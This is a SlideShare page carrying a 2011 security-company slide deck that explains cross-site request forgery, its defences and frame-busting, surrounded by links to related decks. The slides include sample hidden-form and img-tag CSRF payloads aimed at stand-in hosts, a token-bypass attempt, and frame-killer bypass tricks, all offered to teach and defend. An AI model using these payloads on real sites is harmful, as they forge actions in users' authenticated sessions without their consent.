SlideShare uma empresa Scribd logo
1 de 15
CROSS-SITE REQUEST FORGERY
      In-depth analysis                       2011




Copyright 2012 © CYBER GATES
Permission is granted to copy, distribute and/or
modify this document under the terms of the GNU
Free Documentation License
Cross-Site Request Forgery




The OWASP Top 10 Web Application Security Risks
 A1: Injection
 A2: Cross-Site Scripting (XSS)
 A3: Broken Authentication and Session
  Management
 A4: Insecure Direct Object References
 A5: Cross-Site Request Forgery (CSRF)
                                                    Security Risks
 A6: Security Misconfiguration
 A7: Insecure Cryptographic Storage                   2010
 A8: Failure to Restrict URL Access
 A9: Insufficient Transport Layer
  Protection
 A10: Unvalidated Redirects and
  Forwards




Cross-Site Request Forgery  CYBER GATES  Page 2
Cross-Site Request Forgery




Description
 Cross-Site Request Forgery (CSRF in short) is a kind of a
  web application vulnerability     which   allows    malicious
  website   to   send   unauthorized requests to a vulnerable
  website using active session of its authorized users.

Example
 <img src=”http://twitter.com/home?status=evil.com” style=”display:none”/>




Cross-Site Request Forgery  CYBER GATES  Page 3
Cross-Site Request Forgery




Example
<div style=“display:none”>
<iframe name=“hiddenFrame”></iframe>
<form name=“Form” action=“http://site.com/post.php”
  target=“hiddenFrame”
method=“POST”>
<input type=“text” name=“message” value=“I like www.evil.com” />
<input type=“submit” />
</form>
<script>document.Form.submit();</script>
</div>




Cross-Site Request Forgery  CYBER GATES  Page 4
Cross-Site Request Forgery




Usless defenses
 Only accept POST
This stops simple link-based attacks (IMG, frames, etc.).
But hidden POST requests can be created with frames, scripts, etc.
 Referrer checking
Some users prohibit referrers, so you can’t just require referrer
headers.
Techniques to selectively create HTTP request without referrers
exist.
 Requiring multi-step transactions
CSRF attack can perform each step in order.




Cross-Site Request Forgery  CYBER GATES  Page 5
Cross-Site Request Forgery




Solutions
 CAPTHCA systems
This is a type of challenge-response test used in computing to
ensure that the response is not generated by a computer.
 One-time tokens
Unlike the CAPTCHA systems this is a unique number stored in
the web form field and in session to compare them after the
form submission.




Cross-Site Request Forgery  CYBER GATES  Page 6
Cross-Site Request Forgery &
One-time tokens



Bypassing one-time tokens
<html><head><title>BAD.COM</title>
<script language="javascript">
function submitForm(){
var token = window.frames[0].document.forms["messageForm"].elements["token"].value;
var myForm = document.myForm;
myForm.token.value = token;
myForm.submit();
}</script></head>
<body onLoad="submitForm();">
<div style="display:none">
<iframe src="http://good.com/index.php"></iframe>
<form name="myForm" target="hidden" action=http://good.com/post.php method="POST">
<input type="text" name="message" value="I like www.bad.com" />
<input type="hidden" name="token" value="" />
<input type="submit" value="Post">
</form></div></body></html>

Same origin policy
Permission denied to access property 'document'
Cross-Site Request Forgery  CYBER GATES  Page 7
Cross-Site Request Forgery &
FrameKillers



Description
 FrameKillers are small piece of javascript        codes   used
  to protect web pages from being framed.

Example
 if (top.location != location){
         top.location = self.location;
 }




Cross-Site Request Forgery  CYBER GATES  Page 8
Cross-Site Request Forgery &
FrameKillers



Conditional statement
  if (top != self)
  if (top.location != self.location)
  if (top.location != location)
  if (parent.frames.length > 0)
  if (window != top)
  if (window.top !== window.self)
  if (window.self != window.top)
  if (parent && parent != window)
  if (parent && parent.frames && parent.frames.length>0)




Cross-Site Request Forgery  CYBER GATES  Page 9
Cross-Site Request Forgery &
FrameKillers



Counter-action statement
  top.location = self.location
  top.location.href = document.location.href
  top.location.replace(self.location)
  top.location.href = window.location.href
  top.location.replace(document.location)
  top.location.href = window.location.href
  top.location.href = "URL"
  document.write('')
  top.location.replace(document.location)
  top.location.replace('URL')
  top.location.replace(window.location.href)
  top.location.href = location.href
  self.parent.location = document.location
  parent.location.href = self.document.location

Cross-Site Request Forgery  CYBER GATES  Page 10
Cross-Site Request Forgery &
FrameKiller killers



FrameKiller killers
 Double framing
 <iframe src="second.html"></iframe>
 second.html
 <iframe src="http://www.site.com"></iframe>
 Using onBeforeUnload event
 <script>
 window.onbeforeunload=function(){
 return “do you want to leave this page?“;
 }
 </script>
 <iframe src="http://www.site.com"></iframe>




Cross-Site Request Forgery  CYBER GATES  Page 11
Cross-Site Request Forgery &
Best Practices



FrameKiller
 <style> html{ display : none; } </style>
 <script>
 if( self == top ) {
         document.documentElement.style.display='block';
 } else {
         top.location = self.location;
 }
 </script>

Note: This   protects    web application     even if an attacker browses   the webpage
With javascript disabled option in the browser.




Cross-Site Request Forgery  CYBER GATES  Page 12
Cross-Site Request Forgery




References
  Cross-Site Request Forgery
 http://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29
 http://projects.webappsec.org/w/page/13246919/Cross-Site-Request-Forgery
  Same Origin Policy
 http://en.wikipedia.org/wiki/Same_origin_policy
  FrameKiller(Frame Busting)
 http://en.wikipedia.org/wiki/Framekiller
 http://seclab.stanford.edu/websec/framebusting/framebust.pdf




Cross-Site Request Forgery  CYBER GATES  Page 13
CYBER GATES




Contacts
  Corporate website
 www.cybergates.am
  Company profile on Twitter
 www.twitter.com/CyberGatesLLC
  Company fan page on Facebook
 www.facebook.com/Cyber.Gates.page
  Company profile on LinkedIn
 www.linkedin.com/company/CyberGates-LLC
  Company channel on Vimeo
 www.vimeo.com/CyberGates
  Company channel on YouTube
 www.youtube.com/TheCyberGates




Cross-Site Request Forgery  CYBER GATES  Page 14
„Be one step ahead in Security.“




www.cybergates.am

Mais conteúdo relacionado

Mais procurados

Its all about CSRF - null Mumbai Meet 10 January 2015 Null/OWASP Chapter
Its all about CSRF - null Mumbai Meet 10 January 2015 Null/OWASP Chapter Its all about CSRF - null Mumbai Meet 10 January 2015 Null/OWASP Chapter
Its all about CSRF - null Mumbai Meet 10 January 2015 Null/OWASP Chapter Nilesh Sapariya
 
Understanding Cross-site Request Forgery
Understanding Cross-site Request ForgeryUnderstanding Cross-site Request Forgery
Understanding Cross-site Request ForgeryDaniel Miessler
 
Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Amit Tyagi
 
Cross Site Request Forgery
Cross Site Request ForgeryCross Site Request Forgery
Cross Site Request ForgeryTony Bibbs
 
A4 A K S H A Y B H A R D W A J
A4    A K S H A Y  B H A R D W A JA4    A K S H A Y  B H A R D W A J
A4 A K S H A Y B H A R D W A Jbhardwajakshay
 
Cross Site Scripting Going Beyond the Alert Box
Cross Site Scripting Going Beyond the Alert BoxCross Site Scripting Going Beyond the Alert Box
Cross Site Scripting Going Beyond the Alert BoxAaron Weaver
 
Web security: OWASP project, CSRF threat and solutions
Web security: OWASP project, CSRF threat and solutionsWeb security: OWASP project, CSRF threat and solutions
Web security: OWASP project, CSRF threat and solutionsFabio Lombardi
 
Introduction to CSRF Attacks & Defense
Introduction to CSRF Attacks & DefenseIntroduction to CSRF Attacks & Defense
Introduction to CSRF Attacks & DefenseSurya Subhash
 
Deep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionDeep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionVishal Kumar
 
Cross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning CenterCross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning CenterMichael Coates
 
Cross Site Scripting
Cross Site ScriptingCross Site Scripting
Cross Site ScriptingAli Mattash
 
Reflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site ScriptingReflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site ScriptingInMobi Technology
 
A10 - Unvalidated Redirects and Forwards
A10 - Unvalidated Redirects and ForwardsA10 - Unvalidated Redirects and Forwards
A10 - Unvalidated Redirects and ForwardsShane Stanley
 
XSS-Alert-Pentration testing tool
XSS-Alert-Pentration testing toolXSS-Alert-Pentration testing tool
XSS-Alert-Pentration testing toolArjun Jain
 
Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation Ikhade Maro Igbape
 
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Barrel Software
 

Mais procurados (20)

CSRF Basics
CSRF BasicsCSRF Basics
CSRF Basics
 
Its all about CSRF - null Mumbai Meet 10 January 2015 Null/OWASP Chapter
Its all about CSRF - null Mumbai Meet 10 January 2015 Null/OWASP Chapter Its all about CSRF - null Mumbai Meet 10 January 2015 Null/OWASP Chapter
Its all about CSRF - null Mumbai Meet 10 January 2015 Null/OWASP Chapter
 
Understanding Cross-site Request Forgery
Understanding Cross-site Request ForgeryUnderstanding Cross-site Request Forgery
Understanding Cross-site Request Forgery
 
Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)
 
Cross Site Request Forgery
Cross Site Request ForgeryCross Site Request Forgery
Cross Site Request Forgery
 
A4 A K S H A Y B H A R D W A J
A4    A K S H A Y  B H A R D W A JA4    A K S H A Y  B H A R D W A J
A4 A K S H A Y B H A R D W A J
 
Cross Site Scripting Going Beyond the Alert Box
Cross Site Scripting Going Beyond the Alert BoxCross Site Scripting Going Beyond the Alert Box
Cross Site Scripting Going Beyond the Alert Box
 
Web security: OWASP project, CSRF threat and solutions
Web security: OWASP project, CSRF threat and solutionsWeb security: OWASP project, CSRF threat and solutions
Web security: OWASP project, CSRF threat and solutions
 
Introduction to CSRF Attacks & Defense
Introduction to CSRF Attacks & DefenseIntroduction to CSRF Attacks & Defense
Introduction to CSRF Attacks & Defense
 
Deep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionDeep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL Injection
 
Cross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning CenterCross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning Center
 
Xss (cross site scripting)
Xss (cross site scripting)Xss (cross site scripting)
Xss (cross site scripting)
 
Cross Site Scripting
Cross Site ScriptingCross Site Scripting
Cross Site Scripting
 
Reflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site ScriptingReflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site Scripting
 
SeanRobertsThesis
SeanRobertsThesisSeanRobertsThesis
SeanRobertsThesis
 
A10 - Unvalidated Redirects and Forwards
A10 - Unvalidated Redirects and ForwardsA10 - Unvalidated Redirects and Forwards
A10 - Unvalidated Redirects and Forwards
 
XSS-Alert-Pentration testing tool
XSS-Alert-Pentration testing toolXSS-Alert-Pentration testing tool
XSS-Alert-Pentration testing tool
 
Hack using firefox
Hack using firefoxHack using firefox
Hack using firefox
 
Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation
 
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)
 

Destaque

OWASP Serbia - A5 cross-site request forgery
OWASP Serbia - A5 cross-site request forgeryOWASP Serbia - A5 cross-site request forgery
OWASP Serbia - A5 cross-site request forgeryNikola Milosevic
 
Presentacion de las costumbres africanas
Presentacion de las costumbres africanasPresentacion de las costumbres africanas
Presentacion de las costumbres africanasAnaCelyCuero
 
Grupos etnicos colombianos - Quiénes son y sus problemáticas
Grupos etnicos colombianos - Quiénes son y sus problemáticasGrupos etnicos colombianos - Quiénes son y sus problemáticas
Grupos etnicos colombianos - Quiénes son y sus problemáticasAID Territorial
 
Taller nivelacion 3 periodo sociales quinto
Taller nivelacion 3 periodo sociales quintoTaller nivelacion 3 periodo sociales quinto
Taller nivelacion 3 periodo sociales quinto3168962544
 

Destaque (6)

OWASP Serbia - A5 cross-site request forgery
OWASP Serbia - A5 cross-site request forgeryOWASP Serbia - A5 cross-site request forgery
OWASP Serbia - A5 cross-site request forgery
 
Presentacion de las costumbres africanas
Presentacion de las costumbres africanasPresentacion de las costumbres africanas
Presentacion de las costumbres africanas
 
Taller de aplicación. grupos etnicos
Taller de aplicación. grupos etnicosTaller de aplicación. grupos etnicos
Taller de aplicación. grupos etnicos
 
Sociales 5 3
Sociales 5 3Sociales 5 3
Sociales 5 3
 
Grupos etnicos colombianos - Quiénes son y sus problemáticas
Grupos etnicos colombianos - Quiénes son y sus problemáticasGrupos etnicos colombianos - Quiénes son y sus problemáticas
Grupos etnicos colombianos - Quiénes son y sus problemáticas
 
Taller nivelacion 3 periodo sociales quinto
Taller nivelacion 3 periodo sociales quintoTaller nivelacion 3 periodo sociales quinto
Taller nivelacion 3 periodo sociales quinto
 

Semelhante a CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011

CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011
CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011
CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011Samvel Gevorgyan
 
Evolution Of Web Security
Evolution Of Web SecurityEvolution Of Web Security
Evolution Of Web SecurityChris Shiflett
 
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka IrongeekMutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka IrongeekMagno Logan
 
[Lithuania] Cross-site request forgery: ways to exploit, ways to prevent
[Lithuania] Cross-site request forgery: ways to exploit, ways to prevent[Lithuania] Cross-site request forgery: ways to exploit, ways to prevent
[Lithuania] Cross-site request forgery: ways to exploit, ways to preventOWASP EEE
 
Neat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protectionNeat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protectionMikhail Egorov
 
JSFoo Chennai 2012
JSFoo Chennai 2012JSFoo Chennai 2012
JSFoo Chennai 2012Krishna T
 
04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encodingEoin Keary
 
xss-100908063522-phpapp02.pdf
xss-100908063522-phpapp02.pdfxss-100908063522-phpapp02.pdf
xss-100908063522-phpapp02.pdfyashvirsingh48
 
Securing your AngularJS Application
Securing your AngularJS ApplicationSecuring your AngularJS Application
Securing your AngularJS ApplicationPhilippe De Ryck
 
Web Aplication Vulnerabilities
Web Aplication Vulnerabilities Web Aplication Vulnerabilities
Web Aplication Vulnerabilities Jbyte
 
Seguridad Web by Jordan Diaz
Seguridad Web by Jordan DiazSeguridad Web by Jordan Diaz
Seguridad Web by Jordan DiazJordan Diaz
 
Web Attacks - Top threats - 2010
Web Attacks - Top threats - 2010Web Attacks - Top threats - 2010
Web Attacks - Top threats - 2010Shreeraj Shah
 
Web Application Security in front end
Web Application Security in front endWeb Application Security in front end
Web Application Security in front endErlend Oftedal
 
Xss is more than a simple threat
Xss is more than a simple threatXss is more than a simple threat
Xss is more than a simple threatAvădănei Andrei
 
Everybody loves html5,h4ck3rs too
Everybody loves html5,h4ck3rs tooEverybody loves html5,h4ck3rs too
Everybody loves html5,h4ck3rs tooNahidul Kibria
 

Semelhante a CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011 (20)

CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011
CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011
CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011
 
Evolution Of Web Security
Evolution Of Web SecurityEvolution Of Web Security
Evolution Of Web Security
 
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka IrongeekMutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
Mutillidae and the OWASP Top 10 by Adrian Crenshaw aka Irongeek
 
[Lithuania] Cross-site request forgery: ways to exploit, ways to prevent
[Lithuania] Cross-site request forgery: ways to exploit, ways to prevent[Lithuania] Cross-site request forgery: ways to exploit, ways to prevent
[Lithuania] Cross-site request forgery: ways to exploit, ways to prevent
 
Neat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protectionNeat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protection
 
JSFoo Chennai 2012
JSFoo Chennai 2012JSFoo Chennai 2012
JSFoo Chennai 2012
 
04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encoding
 
xss-100908063522-phpapp02.pdf
xss-100908063522-phpapp02.pdfxss-100908063522-phpapp02.pdf
xss-100908063522-phpapp02.pdf
 
Securing your AngularJS Application
Securing your AngularJS ApplicationSecuring your AngularJS Application
Securing your AngularJS Application
 
Xssandcsrf
XssandcsrfXssandcsrf
Xssandcsrf
 
Security 101
Security 101Security 101
Security 101
 
Advanced xss
Advanced xssAdvanced xss
Advanced xss
 
Web Aplication Vulnerabilities
Web Aplication Vulnerabilities Web Aplication Vulnerabilities
Web Aplication Vulnerabilities
 
Seguridad Web by Jordan Diaz
Seguridad Web by Jordan DiazSeguridad Web by Jordan Diaz
Seguridad Web by Jordan Diaz
 
Web Attacks - Top threats - 2010
Web Attacks - Top threats - 2010Web Attacks - Top threats - 2010
Web Attacks - Top threats - 2010
 
Web Application Security in front end
Web Application Security in front endWeb Application Security in front end
Web Application Security in front end
 
Xss is more than a simple threat
Xss is more than a simple threatXss is more than a simple threat
Xss is more than a simple threat
 
Xss is more than a simple threat
Xss is more than a simple threatXss is more than a simple threat
Xss is more than a simple threat
 
Click jacking
Click jackingClick jacking
Click jacking
 
Everybody loves html5,h4ck3rs too
Everybody loves html5,h4ck3rs tooEverybody loves html5,h4ck3rs too
Everybody loves html5,h4ck3rs too
 

Mais de Samvel Gevorgyan

Websecurity fundamentals for beginners
Websecurity fundamentals for beginnersWebsecurity fundamentals for beginners
Websecurity fundamentals for beginnersSamvel Gevorgyan
 
Content Management System Security
Content Management System SecurityContent Management System Security
Content Management System SecuritySamvel Gevorgyan
 
Information Security Management System in the Banking Sector
Information Security Management System in the Banking SectorInformation Security Management System in the Banking Sector
Information Security Management System in the Banking SectorSamvel Gevorgyan
 
Five Ways to Improve Yandex.Taxi Service
Five Ways to Improve Yandex.Taxi ServiceFive Ways to Improve Yandex.Taxi Service
Five Ways to Improve Yandex.Taxi ServiceSamvel Gevorgyan
 
Բախումներ Լեռնային Ղարաբաղում. Քառօրյա պատերազմը կիբեռ տարածքում
Բախումներ Լեռնային Ղարաբաղում. Քառօրյա պատերազմը կիբեռ տարածքումԲախումներ Լեռնային Ղարաբաղում. Քառօրյա պատերազմը կիբեռ տարածքում
Բախումներ Լեռնային Ղարաբաղում. Քառօրյա պատերազմը կիբեռ տարածքումSamvel Gevorgyan
 
Nagorno-karabakh clashes - four-day war in cyberspace
Nagorno-karabakh clashes - four-day war in cyberspaceNagorno-karabakh clashes - four-day war in cyberspace
Nagorno-karabakh clashes - four-day war in cyberspaceSamvel Gevorgyan
 
What is the Cybersecurity plan for tomorrow?
What is the Cybersecurity plan for tomorrow?What is the Cybersecurity plan for tomorrow?
What is the Cybersecurity plan for tomorrow?Samvel Gevorgyan
 
Can you predict who will win the US election?
Can you predict who will win the US election?Can you predict who will win the US election?
Can you predict who will win the US election?Samvel Gevorgyan
 
BEST PRACTICES OF WEB APPLICATION SECURITY By SAMVEL GEVORGYAN
BEST PRACTICES OF WEB APPLICATION SECURITY By SAMVEL GEVORGYANBEST PRACTICES OF WEB APPLICATION SECURITY By SAMVEL GEVORGYAN
BEST PRACTICES OF WEB APPLICATION SECURITY By SAMVEL GEVORGYANSamvel Gevorgyan
 

Mais de Samvel Gevorgyan (10)

Websecurity fundamentals for beginners
Websecurity fundamentals for beginnersWebsecurity fundamentals for beginners
Websecurity fundamentals for beginners
 
Content Management System Security
Content Management System SecurityContent Management System Security
Content Management System Security
 
Information Security Management System in the Banking Sector
Information Security Management System in the Banking SectorInformation Security Management System in the Banking Sector
Information Security Management System in the Banking Sector
 
Five Ways to Improve Yandex.Taxi Service
Five Ways to Improve Yandex.Taxi ServiceFive Ways to Improve Yandex.Taxi Service
Five Ways to Improve Yandex.Taxi Service
 
Բախումներ Լեռնային Ղարաբաղում. Քառօրյա պատերազմը կիբեռ տարածքում
Բախումներ Լեռնային Ղարաբաղում. Քառօրյա պատերազմը կիբեռ տարածքումԲախումներ Լեռնային Ղարաբաղում. Քառօրյա պատերազմը կիբեռ տարածքում
Բախումներ Լեռնային Ղարաբաղում. Քառօրյա պատերազմը կիբեռ տարածքում
 
Nagorno-karabakh clashes - four-day war in cyberspace
Nagorno-karabakh clashes - four-day war in cyberspaceNagorno-karabakh clashes - four-day war in cyberspace
Nagorno-karabakh clashes - four-day war in cyberspace
 
What is the Cybersecurity plan for tomorrow?
What is the Cybersecurity plan for tomorrow?What is the Cybersecurity plan for tomorrow?
What is the Cybersecurity plan for tomorrow?
 
Can you predict who will win the US election?
Can you predict who will win the US election?Can you predict who will win the US election?
Can you predict who will win the US election?
 
MAPY
MAPYMAPY
MAPY
 
BEST PRACTICES OF WEB APPLICATION SECURITY By SAMVEL GEVORGYAN
BEST PRACTICES OF WEB APPLICATION SECURITY By SAMVEL GEVORGYANBEST PRACTICES OF WEB APPLICATION SECURITY By SAMVEL GEVORGYAN
BEST PRACTICES OF WEB APPLICATION SECURITY By SAMVEL GEVORGYAN
 

Último

DIFFERENT BASKETRY IN THE PHILIPPINES PPT.pptx
DIFFERENT BASKETRY IN THE PHILIPPINES PPT.pptxDIFFERENT BASKETRY IN THE PHILIPPINES PPT.pptx
DIFFERENT BASKETRY IN THE PHILIPPINES PPT.pptxMichelleTuguinay1
 
Blowin' in the Wind of Caste_ Bob Dylan's Song as a Catalyst for Social Justi...
Blowin' in the Wind of Caste_ Bob Dylan's Song as a Catalyst for Social Justi...Blowin' in the Wind of Caste_ Bob Dylan's Song as a Catalyst for Social Justi...
Blowin' in the Wind of Caste_ Bob Dylan's Song as a Catalyst for Social Justi...DhatriParmar
 
Scientific Writing :Research Discourse
Scientific  Writing :Research  DiscourseScientific  Writing :Research  Discourse
Scientific Writing :Research DiscourseAnita GoswamiGiri
 
Using Grammatical Signals Suitable to Patterns of Idea Development
Using Grammatical Signals Suitable to Patterns of Idea DevelopmentUsing Grammatical Signals Suitable to Patterns of Idea Development
Using Grammatical Signals Suitable to Patterns of Idea Developmentchesterberbo7
 
Q-Factor General Quiz-7th April 2024, Quiz Club NITW
Q-Factor General Quiz-7th April 2024, Quiz Club NITWQ-Factor General Quiz-7th April 2024, Quiz Club NITW
Q-Factor General Quiz-7th April 2024, Quiz Club NITWQuiz Club NITW
 
INTRODUCTION TO CATHOLIC CHRISTOLOGY.pptx
INTRODUCTION TO CATHOLIC CHRISTOLOGY.pptxINTRODUCTION TO CATHOLIC CHRISTOLOGY.pptx
INTRODUCTION TO CATHOLIC CHRISTOLOGY.pptxHumphrey A Beña
 
BIOCHEMISTRY-CARBOHYDRATE METABOLISM CHAPTER 2.pptx
BIOCHEMISTRY-CARBOHYDRATE METABOLISM CHAPTER 2.pptxBIOCHEMISTRY-CARBOHYDRATE METABOLISM CHAPTER 2.pptx
BIOCHEMISTRY-CARBOHYDRATE METABOLISM CHAPTER 2.pptxSayali Powar
 
Narcotic and Non Narcotic Analgesic..pdf
Narcotic and Non Narcotic Analgesic..pdfNarcotic and Non Narcotic Analgesic..pdf
Narcotic and Non Narcotic Analgesic..pdfPrerana Jadhav
 
ICS2208 Lecture6 Notes for SL spaces.pdf
ICS2208 Lecture6 Notes for SL spaces.pdfICS2208 Lecture6 Notes for SL spaces.pdf
ICS2208 Lecture6 Notes for SL spaces.pdfVanessa Camilleri
 
MS4 level being good citizen -imperative- (1) (1).pdf
MS4 level   being good citizen -imperative- (1) (1).pdfMS4 level   being good citizen -imperative- (1) (1).pdf
MS4 level being good citizen -imperative- (1) (1).pdfMr Bounab Samir
 
Textual Evidence in Reading and Writing of SHS
Textual Evidence in Reading and Writing of SHSTextual Evidence in Reading and Writing of SHS
Textual Evidence in Reading and Writing of SHSMae Pangan
 
Mental Health Awareness - a toolkit for supporting young minds
Mental Health Awareness - a toolkit for supporting young mindsMental Health Awareness - a toolkit for supporting young minds
Mental Health Awareness - a toolkit for supporting young mindsPooky Knightsmith
 
Oppenheimer Film Discussion for Philosophy and Film
Oppenheimer Film Discussion for Philosophy and FilmOppenheimer Film Discussion for Philosophy and Film
Oppenheimer Film Discussion for Philosophy and FilmStan Meyer
 
ROLES IN A STAGE PRODUCTION in arts.pptx
ROLES IN A STAGE PRODUCTION in arts.pptxROLES IN A STAGE PRODUCTION in arts.pptx
ROLES IN A STAGE PRODUCTION in arts.pptxVanesaIglesias10
 
4.16.24 21st Century Movements for Black Lives.pptx
4.16.24 21st Century Movements for Black Lives.pptx4.16.24 21st Century Movements for Black Lives.pptx
4.16.24 21st Century Movements for Black Lives.pptxmary850239
 
Beauty Amidst the Bytes_ Unearthing Unexpected Advantages of the Digital Wast...
Beauty Amidst the Bytes_ Unearthing Unexpected Advantages of the Digital Wast...Beauty Amidst the Bytes_ Unearthing Unexpected Advantages of the Digital Wast...
Beauty Amidst the Bytes_ Unearthing Unexpected Advantages of the Digital Wast...DhatriParmar
 
Q-Factor HISPOL Quiz-6th April 2024, Quiz Club NITW
Q-Factor HISPOL Quiz-6th April 2024, Quiz Club NITWQ-Factor HISPOL Quiz-6th April 2024, Quiz Club NITW
Q-Factor HISPOL Quiz-6th April 2024, Quiz Club NITWQuiz Club NITW
 
Multi Domain Alias In the Odoo 17 ERP Module
Multi Domain Alias In the Odoo 17 ERP ModuleMulti Domain Alias In the Odoo 17 ERP Module
Multi Domain Alias In the Odoo 17 ERP ModuleCeline George
 
Measures of Position DECILES for ungrouped data
Measures of Position DECILES for ungrouped dataMeasures of Position DECILES for ungrouped data
Measures of Position DECILES for ungrouped dataBabyAnnMotar
 
4.16.24 Poverty and Precarity--Desmond.pptx
4.16.24 Poverty and Precarity--Desmond.pptx4.16.24 Poverty and Precarity--Desmond.pptx
4.16.24 Poverty and Precarity--Desmond.pptxmary850239
 

Último (20)

DIFFERENT BASKETRY IN THE PHILIPPINES PPT.pptx
DIFFERENT BASKETRY IN THE PHILIPPINES PPT.pptxDIFFERENT BASKETRY IN THE PHILIPPINES PPT.pptx
DIFFERENT BASKETRY IN THE PHILIPPINES PPT.pptx
 
Blowin' in the Wind of Caste_ Bob Dylan's Song as a Catalyst for Social Justi...
Blowin' in the Wind of Caste_ Bob Dylan's Song as a Catalyst for Social Justi...Blowin' in the Wind of Caste_ Bob Dylan's Song as a Catalyst for Social Justi...
Blowin' in the Wind of Caste_ Bob Dylan's Song as a Catalyst for Social Justi...
 
Scientific Writing :Research Discourse
Scientific  Writing :Research  DiscourseScientific  Writing :Research  Discourse
Scientific Writing :Research Discourse
 
Using Grammatical Signals Suitable to Patterns of Idea Development
Using Grammatical Signals Suitable to Patterns of Idea DevelopmentUsing Grammatical Signals Suitable to Patterns of Idea Development
Using Grammatical Signals Suitable to Patterns of Idea Development
 
Q-Factor General Quiz-7th April 2024, Quiz Club NITW
Q-Factor General Quiz-7th April 2024, Quiz Club NITWQ-Factor General Quiz-7th April 2024, Quiz Club NITW
Q-Factor General Quiz-7th April 2024, Quiz Club NITW
 
INTRODUCTION TO CATHOLIC CHRISTOLOGY.pptx
INTRODUCTION TO CATHOLIC CHRISTOLOGY.pptxINTRODUCTION TO CATHOLIC CHRISTOLOGY.pptx
INTRODUCTION TO CATHOLIC CHRISTOLOGY.pptx
 
BIOCHEMISTRY-CARBOHYDRATE METABOLISM CHAPTER 2.pptx
BIOCHEMISTRY-CARBOHYDRATE METABOLISM CHAPTER 2.pptxBIOCHEMISTRY-CARBOHYDRATE METABOLISM CHAPTER 2.pptx
BIOCHEMISTRY-CARBOHYDRATE METABOLISM CHAPTER 2.pptx
 
Narcotic and Non Narcotic Analgesic..pdf
Narcotic and Non Narcotic Analgesic..pdfNarcotic and Non Narcotic Analgesic..pdf
Narcotic and Non Narcotic Analgesic..pdf
 
ICS2208 Lecture6 Notes for SL spaces.pdf
ICS2208 Lecture6 Notes for SL spaces.pdfICS2208 Lecture6 Notes for SL spaces.pdf
ICS2208 Lecture6 Notes for SL spaces.pdf
 
MS4 level being good citizen -imperative- (1) (1).pdf
MS4 level   being good citizen -imperative- (1) (1).pdfMS4 level   being good citizen -imperative- (1) (1).pdf
MS4 level being good citizen -imperative- (1) (1).pdf
 
Textual Evidence in Reading and Writing of SHS
Textual Evidence in Reading and Writing of SHSTextual Evidence in Reading and Writing of SHS
Textual Evidence in Reading and Writing of SHS
 
Mental Health Awareness - a toolkit for supporting young minds
Mental Health Awareness - a toolkit for supporting young mindsMental Health Awareness - a toolkit for supporting young minds
Mental Health Awareness - a toolkit for supporting young minds
 
Oppenheimer Film Discussion for Philosophy and Film
Oppenheimer Film Discussion for Philosophy and FilmOppenheimer Film Discussion for Philosophy and Film
Oppenheimer Film Discussion for Philosophy and Film
 
ROLES IN A STAGE PRODUCTION in arts.pptx
ROLES IN A STAGE PRODUCTION in arts.pptxROLES IN A STAGE PRODUCTION in arts.pptx
ROLES IN A STAGE PRODUCTION in arts.pptx
 
4.16.24 21st Century Movements for Black Lives.pptx
4.16.24 21st Century Movements for Black Lives.pptx4.16.24 21st Century Movements for Black Lives.pptx
4.16.24 21st Century Movements for Black Lives.pptx
 
Beauty Amidst the Bytes_ Unearthing Unexpected Advantages of the Digital Wast...
Beauty Amidst the Bytes_ Unearthing Unexpected Advantages of the Digital Wast...Beauty Amidst the Bytes_ Unearthing Unexpected Advantages of the Digital Wast...
Beauty Amidst the Bytes_ Unearthing Unexpected Advantages of the Digital Wast...
 
